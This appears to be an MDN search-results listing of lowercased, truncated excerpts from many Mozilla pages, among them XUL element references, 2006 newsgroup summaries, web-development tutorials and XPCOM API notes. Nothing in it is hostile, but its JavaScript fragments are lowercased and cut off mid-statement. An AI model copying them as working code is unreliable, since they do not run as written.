inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treeitem, treecell and treeseparator.
treeseparator - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, treechildren, treeitem, treerow and treecell.
triple - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
vbox - Archive of obsolete content
ArchiveMozillaXULvbox
example <!-- two labels at bottom --> <vbox> <spacer flex="1"/> <label value="one"/> <label value="two"/> </vbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, hbox ...
where - Archive of obsolete content
ArchiveMozillaXULwhere
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirect...
...ion, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getel...
...assname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
Building XULRunner with Python - Archive of obsolete content
for example def onload(): btntest = document.getelementbyid("btntest") btntest.addeventlistener('command', ontest, false) def ontest(): window.alert('button activated') window.addeventlistener('load', onload, false) one possible gotcha is that the default python path used to find modules that areimported explicitly includes the xulrunner executable directory and the directory that is current when xulrunner launches.
...except: print_exc() round any event handler to print tracebacks to stdout and use a python console to catch that output.
...perhaps eventually a xulrunner with a minimal python installation can be generated with something like py2exe or pyinstaller.
Archived Mozilla and build documentation - Archive of obsolete content
building transformiix standalone calicalendarview an object implementing calicalendarview is generally intended to serve as a way of manipulating a set of dom nodes corresonding to a visual representation of calievent and calitodo objects.
...see also current events.
... sxsw 2007 presentations presentations about the mozilla project given at the sxsw 2007 event in austin, texas.
2006-11-10 - Archive of obsolete content
discussions firefox: an open source accessibility success story aaron leventhal of ibm recently published a new article praising firefox accessibility.
...this has been changed to alt+shift for content accesskeys due to the "conflicts with ui mnemonics" according to aaron leventhal.
... accessibility in chatzilla gijs kruitbosch and aaron leventhal have proposed an accessibility project involving chatzilla.
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss new features or talk with other nvda users.
... new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox".
... idispatch support for jaws scripting needed aaron leventhal stated that currently there is no idispatch support for iaccessible's in mozilla.
2006-10-20 - Archive of obsolete content
discussions lightning 0.3 - event list/search ?
... discussion about the missing ability to list and search all the events in a calendar in lightning 0.3.
... problem with creating / updating / exporting events how to add/update events in "home" calendar meetings planning the next calendar release meet regarding the views of next calendar release.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - october 27 - november 3, 2006 announcements test day results the calendar qa team had a successful test day on tuesday discussions storage format for events storage format of timestamps in lightning.
... aborting a new event/edit event dialog discussions about behaves of new event/edit event.
... last check-ins on sun-calendar-event-dialog.* files discussions about some localization issues with sun-calendar-event-dialog.
2006-11-24 - Archive of obsolete content
discussions what display events in the month view ?
... discussions about functions that display the events/tasks of the calendars in month view.
... proposal for an event summary dialog discussions about design for an event summary dialog.
SAX - Archive of obsolete content
to create one, use the following code: var xmlreader = components.classes["@mozilla.org/saxparser/xmlreader;1"] .createinstance(components.interfaces.nsisaxxmlreader); after you created the sax parser, you need to set the handlers for the events you're interested in and fire off the parsing process.
... nsisaxdtdhandler receive notification of basic dtd-related events.
... nsisaxlexicalhandler sax2 extension handler for lexical events (e.g.
Using JavaScript Generators in Firefox - Archive of obsolete content
var generator; // simple event listener function to pass the received event to the generator.
... function grabevent(event) { generator.send(event); } // when we're all done we can close the generator, but that must happen outside // of the generator so we use a timeout.
... function closegenerator() { settimeout(function() { generator.close(); }, 0); } // our main steps function databaseoperation() { mozindexeddb.open("mytestdatabase").onsuccess = grabevent; var event = yield; var db = event.target.result; if (db.version != "1.0") { db.setversion("1.0").onsuccess = grabevent; event = yield; var transaction = event.transaction; db.createobjectstore("stuff"); transaction.oncomplete = grabevent; yield; } db.transaction(["stuff"]).objectstore("stuff").get("foo").onsuccess = grabevent; event = yield; alert("got result: " + event.target.result); // we're all done.
Game promotion - Game development
events if you've gone through all the options listed above you can still find new, creative ways to promote your game — events are another good example.
... attending events, both local and global, gives you the ability to meet your fans face to face, as well as other members of the development community.
... fairs the other event-related option is fairs (or expos) — at such an event you can get a booth among other devs and promote your game to all the attendees passing by.
Gecko FAQ - Gecko Redirect 1
pected to support the following recommended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, summary, event, dir, align on table columns, label attribute of option, alternate text of area elements, longdesc various metadata attributes: cite, datetime, lang, hreflang bidirectional text layout, which is only used in hebrew and arabic (ibm has begun work to add bidi support in a future release) style sheets css 1 - full support, except for: the application of styles to html col...
...om1; per a provision of the dom1 spec for xml implementations, entities will be automatically expanded inline and therefore not available through dom1; our implementation extrapolates this provision to apply to entityreferences as well for more information, see the dom in mozilla level 1 html dom 2 - most of it has already been implemented in gecko, including support for dom 2 events, the dom 2 style, and the dom2 core.
... content layout bugs that may be related to a variety of specifications html 4.0 elements, form controls, frames, tables, and form submission bug reports marked with the html4 keyword "meta bug" for tracking outstanding issues with html 4.01 compliance css: style system component (see also bug reports marked with the css1, css2, and css3 keywords) dom: see dom0, dom1, dom2 and event handling components xml rdf core javascript language interpreter (javascript engine) http 1.1 compliance bugs should generally be found on the networking, networking - general, and networking: cache components oji imagelib image library (see also jpeg image handling and png image handling) ssl-related bugs are filed on the crypto component for information about the known bugs of a specif...
Plug-in Development Overview - Gecko Plugin API Reference
drawing a plug-in instance before drawing itself on the page, the plug-in must provide information about itself, set the window or other target in which it draws, arrange for redrawing, and handle events.
... npp_handleevent: deliver a platform-specific event to the instance.
... for information about these processes, see drawing and event handling.
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
the main thread is where a browser processes user events and paints.
... unless intentionally using a web worker, such as a service worker, javascript runs on the main thread, so it's easy for a script to cause delays in event processing or painting.
... the less work required of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user.
Page load time - MDN Web Docs Glossary: Definitions of Web-related terms
page load time is the time it takes for a page to load, measured from navigation start to the start of the load event.
... let time = performance.timing; let pageloadtime = time.loadeventstart - time.navigationstart; while page load time 'sounds' like the perfect web performance metric, it isn't.
...in addition, web performance isn't just about when the load event happens.
Fundamental text and font styling - Learn web development
values include: none: prevents any transformation.
... overflow-wrap: specify whether or not the browser may break lines within words in order to prevent overflow.
... = document.getelementbyid("reset"); let htmlcode = htmlinput.value; let csscode = cssinput.value; const output = document.queryselector(".output"); const styleelem = document.createelement('style'); const headelem = document.queryselector('head'); headelem.appendchild(styleelem); function drawoutput() { output.innerhtml = htmlinput.value; styleelem.textcontent = cssinput.value; } reset.addeventlistener("click", function() { htmlinput.value = htmlcode; cssinput.value = csscode; drawoutput(); }); htmlinput.addeventlistener("input", drawoutput); cssinput.addeventlistener("input", drawoutput); window.addeventlistener("load", drawoutput); test your skills!
Example 4 - Learn web development
elementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
...; optionlist.foreach(function (option) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); }); select.addeventlistener('click', function (event) { toggleoptlist(select); }); select.addeventlistener('focus', function (event) { activeselect(select, selectlist); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); }); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(s...
...elect, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('keyup', function (event) { var length = optionlist.length, index = getindex(select); if (event.keycode === 27) { deactivateselect(select); } if (event.keycode === 40 && index < length - 1) { index++; } if (event.keycode === 38 && index > 0) { index--; } updatevalue(select, index); }); }); }); result ...
Example 5 - Learn web development
other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.previouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option')...
..., selectedindex = getindex(select); select.tabindex = 0; select.previouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('click', function (event) { toggleoptlist(select); }); select.addeventlistener('focus', function (event) { activeselect(select, selectlist); }); select.addeventlistener('blur', function (event) { deactivateselect(select); }); select.addeventlistener('keyup', function (event) { var length = op...
...tionlist.length, index = getindex(select); if (event.keycode === 27) { deactivateselect(select); } if (event.keycode === 40 && index < length - 1) { index++; } if (event.keycode === 38 && index > 0) { index--; } updatevalue(select, index); }); }); }); result ...
Tips for authoring fast-loading HTML pages - Learn web development
this not only speeds the display of the page but prevents annoying changes in a page's layout when the page completes loading.
...all eagerly loaded images are rendered before the document's load event is sent.
... <img href="./images/footerlogo.jpg" loading="lazy"> note that lazily-loaded images may not be available when the load event is fired.
Use JavaScript within a webpage - Learn web development
<script> window.addeventlistener('load', function () { console.log('this function is executed once the page is fully loaded'); }); </script> that's convenient when you just need a small bit of javascript, but if you keep javascript in separate files you'll find it easier to focus on your work write self-sufficient html write structured javascript applications use scripting accessibly accessibility is a major i...
... if you use pointer events (like mouse events or touch events), duplicate the functionality with keyboard events.
...people may have javascript turned off to improve speed and security, and users often face network issues that prevent loading scripts.
Build your own function - Learn web development
const msg = document.createelement('p'); msg.textcontent = 'this is a message box'; panel.appendchild(msg); const closebtn = document.createelement('button'); closebtn.textcontent = 'x'; panel.appendchild(closebtn); finally, we use an globaleventhandlers.onclick event handler to make it so that when the button is clicked, some code is run to delete the whole panel from the page — to close the message box.
...you'll learn a lot more about these in our later events article.
... previous overview: building blocks next in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to events image gallery ...
Function return values - Learn web development
enter the following event handler below the existing functions: input.onchange = function() { const num = input.value; if (isnan(num)) { para.textcontent = 'you need to enter a number!'; } else { para.textcontent = num + ' squared is ' + squared(num) + '.
...' + num + ' factorial is ' + factorial(num) + '.'; } } here we are creating an onchange event handler.
... it runs whenever the change event fires on the text input — that is, when a new value is entered into the text input, and submitted (e.g., enter a value, then unfocus the input by pressing tab or return).
Silly story generator - Learn web development
placing the event handler and incomplete function: now return to the raw text file.
...event listener and partial function definition" and paste it into the bottom of your main.js file.
... this: adds a click event listener to the randomize variable so that when the button it represents is clicked, the result() function is run.
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
however, because *eventually*, we'll want to persist or sync all changes to the todos list to local storage (see the final version of the app), it makes sense to have all persistent-state-changing operations be in the same place.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Ember resources and troubleshooting - Learn web development
last, a route has the ability to handle common events resulting from configuring the model: loading — what to do when the model hook is loading.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Componentizing our React app - Learn web development
now we'll go on to look at how we handle events in react, and start adding some interactivity.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new ...
...todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Getting started with Svelte - Learn web development
that's svelte's syntax for listening to dom events.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Getting started with Vue - Learn web development
navigate to "eslint with error prevention only" and hit enter again.
... previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react react resources ember getting started with ember ember app structure and componentization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue ...
... getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores typescript support in svelte deployment and next steps ...
Handling common accessibility problems - Learn web development
we check what button was pressed via the event object's keycode property; if it is the keycode that matches return/enter, we run the function stored in the button's onclick handler using document.activeelement.onclick().
... note: this technique will only work if you set your original event handlers via event handler properties (e.g.
...addeventlistener won't work.
Handling common JavaScript problems - Learn web development
incorrectly using functions inside loops — for example, in bad-for-loop.html (see source code), we loop through 10 iterations, each time creating a paragraph and adding an onclick event handler to it.
...let's fix this problem by running the code once the load event has been fired — remove the console.log() line, and update this code block: let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); to the following: request.onload = function() { let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } to summarize, anytime something is not working and a value does not appear to be ...
...at the top, we have showheroes() the function we are currently in, and second we have onload, which stores the event handler function containing the call to showheroes().
Creating Sandboxed HTTP Connections
channel.asyncopen(listener, null); http notifications the above mentioned listener is a nsistreamlistener, which gets notified about events such as http redirects and data availability.
...am); scriptableinputstream.init(astream); this.mdata += scriptableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull this.mcallbackfunc(this.mdata); } else { // request failed this.mcallbackfunc(null); } gchannel = null; }, // nsichanneleventsink onchannelredirect: function (aoldchannel, anewchannel, aflags) { // if redirecting, store the new channel gchannel = anewchannel; }, // nsiinterfacerequestor getinterface: function (aiid) { try { return this.queryinterface(aiid); } catch (e) { throw components.results.ns_nointerface; } }, // nsiprogresseventsink (not implementing will cause annoyi...
...ng exceptions) onprogress : function (arequest, acontext, aprogress, aprogressmax) { }, onstatus : function (arequest, acontext, astatus, astatusarg) { }, // nsihttpeventsink (not implementing will cause annoying exceptions) onredirect : function (aoldchannel, anewchannel) { }, // we are faking an xpcom interface, so we need to implement qi queryinterface : function(aiid) { if (aiid.equals(components.interfaces.nsisupports) || aiid.equals(components.interfaces.nsiinterfacerequestor) || aiid.equals(components.interfaces.nsichanneleventsink) || aiid.equals(components.interfaces.nsiprogresseventsink) || aiid.equals(components.interfaces.nsihttpeventsink) || aiid.equals(components.interfaces.nsistreamlistener)) return this; throw ...
JavaScript-DOM Prototypes in Mozilla
one of these interfaces is nsidomhtmlimageelement, others are nsidomnshtmlimageelement (netscape extensions to the standard interface), nsidomeventtarget, nsidomeventlistener, nsidom3node, and so on.
... another example would be modifying the pagex property of a mouseevent instance.
... the pagex property actually needs a patch because it doesn't get set correctly in initmouseevent bug 411031.
AsyncShutdown.jsm
if, for some reason, promise is never resolved/rejected, firefox will crash during shutdown to avoid blocking system shutdown, preventing the user from restarting firefox or burning through a battery.
... // execute this code during profilebeforechange // no specific guarantee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, preventing the user from restarting firefox or burning through battery.
...it is the caller's responsibility to ensure that the promise is eventually resolved/rejected.
PopupNotifications.jsm
eventcallback a javascript function to be invoked when the notification changes state.
...see notification events below.
... notification events if you specify an event callback using the options parameter when calling show(), the callback function gets invoked when the state of the notification changes.
Promise
rejected, if an error prevented the final value from being determined.
...for example, the os.file.exists function returns a promise that will eventually fulfill with a boolean: promise<boolean> exists(string path); the rejection reason may be specified separately in the function's documentation, and is considered to be an error object unless otherwise specified.
... if the callback returns a promise, the new promise will eventually assume the same state as the returned promise.
JavaScript code modules
promiseworker.jsm a version of chromeworker which uses promises to return the worker's result instead of using an event to do so.
... webrequest.jsm provides an api to add event listeners for the various stages of making an http request.
... the event listener receives detailed information about the request, and can modify or cancel the request.
Localization content best practices
for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
... if a string is tied to an accesskey or a tooltip, use string ids that highlight this relation: neweventbtn.label = add event neweventbtn.accesskey = a neweventbtn.tooltip = add a new event don't duplicate ids if you're adding new strings, check that you're not duplicating an existing id.
...a bug marked with l12y describes an issue that prevents localizers to create a good quality localization.
Logging
you can select events to be logged by module or level.
... a module is a user-defined class of log events.
... a level is a numeric value that indicates the seriousness of the event to be logged.
An overview of NSS Internals
a recent development adds support for loading external pem files that contain private keys, in a software library called nss-pem, which is separately available, but should eventually become a core part of nss.
...the goal is to eventually find a certificate b (or c or ...) that has an appropriate trust assigned (e.g., because it can be found in the ckbi module and the user hasn't made any overriding trust decisions, or it can be found in a nss database file managed by the user or by the local environment).
... the expected signer (check subject name, common name, email, based on application), the trust restrictions recorded inside the certificate (extensions) permit the use (e.g., encryption might be allowed, but not signing), and based on environment/application policy it might be required to perform a revocation check (ocsp or crl), that asks the issuer(s) of the certificates whether there have been events that made it necessary to revoke the trust (revoke the validity of the cert).
JS_THREADSAFE
these callbacks are (unreliably!) documented with the words "provides request", like this: name type description cx jscontext * the context in which the event ocurred.
...(this is analogous to a database connection pool.) the application has a jscontext that it needs to use each time some event happens.
... but the event could happen on any thread.
Gecko states
applied to: role_menuitem, role_cell, role_outlineitem, xxx: continue events: event_state_change Сoncomitant state: state_selectable state_focused the object is focused applied to: events: concomitant state: state_focusable state_pressed the object is pressed.
... applied to: events: concomitant state: state_focused state_selectable the object can be selected.
... applied to: events: concomitant state: state_selected state_linked indicates that the object is formatted as a hyperlink.
extIExtension
events readonly attribute extievents the events object for the extension.
...a preference "install-event-fired" under your extensions preferences branch (e.g.
... extensions.your_extension_id.install-event-fired) will be set to false after your extension has been installed.
Building the WebLock UI
within a xul application file, elements like <button/>, <menu/>, and <checkbox/> can be hooked up to an event model, to scripts, and to the xpcom interfaces that carry out a lot of the browser functionality in mozilla.
... the xul document the first thing to do is create the actual xul document in which the user interface for the dialog and the events that initiate interaction with the web locking are defined.
...once it's installed and registered, the weblock component itself is ready to go: xpcom finds it and adds it to the list of registered components, and then weblock observes the xpcom startup event and initializes itself.
Components.utils.cloneInto
example this add-on script creates an object, clones it into the content window and makes it a property of the content window global: // add-on script var addonscriptobject = {"greeting" : "hello from add-on"}; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow); scripts running in the page can now access the object: // page script button.addeventlistener("click", function() { console.log(window.addonscriptobject.greeting); // "hello from add-on" }, false); of course, you don't have to assign the clone to the window itself: you can assign it to some other object in the target scope: contentwindow.foo.addonscriptobject = cloneinto(addonscriptobject, contentwindow); you can also pass it into a function defined in the page script.
...components.utils.exportfunction: // add-on script var addonscriptobject = { greetme: function() { alert("hello from add-on"); } }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {clonefunctions: true}); // page script var test = document.getelementbyid("test"); test.addeventlistener("click", function() { window.addonscriptobject.greetme(); }, false); cloning objects that contain dom elements by default, if the object you clone contains objects that are reflected from c++, such as dom elements, the cloning operation will fail with an error.
...the object you clone is allowed to contain these objects: // add-on script var addonscriptobject = { body: contentwindow.document.body }; contentwindow.addonscriptobject = cloneinto(addonscriptobject, contentwindow, {wrapreflectors: true}); // page script var test = document.getelementbyid("test"); test.addeventlistener("click", function() { console.log(window.addonscriptobject.body.innerhtml); }, false); access to these objects in the target scope is subject to the normal security checks.
nsICachingChannel
holding a reference to this key does not prevent the cached data from being removed.
...holding a reference to this token prevents the cached data from being removed.
...if this flag has been set, and the request can be satisfied via the cache, then the ondataavailable events will be skipped.
nsICommandLine
preventdefault boolean there may be a command-line handler which performs a default action if there was no explicit action on the command line (open a default browser window, for example).
... this flag allows the default action to be prevented.
... state_remote_explicit 2 a remote command line explicitly redirected to this instance using xremote/windde/appleevents.
nsIDNSService
method overview nsicancelable asyncresolve(in autf8string ahostname, in unsigned long aflags, in nsidnslistener alistener, in nsieventtarget alistenertarget); void init(); obsolete since gecko 1.8 nsidnsrecord resolve(in autf8string ahostname, in unsigned long aflags); void shutdown(); obsolete since gecko 1.8 attributes attribute type description myhostname autf8string read only.
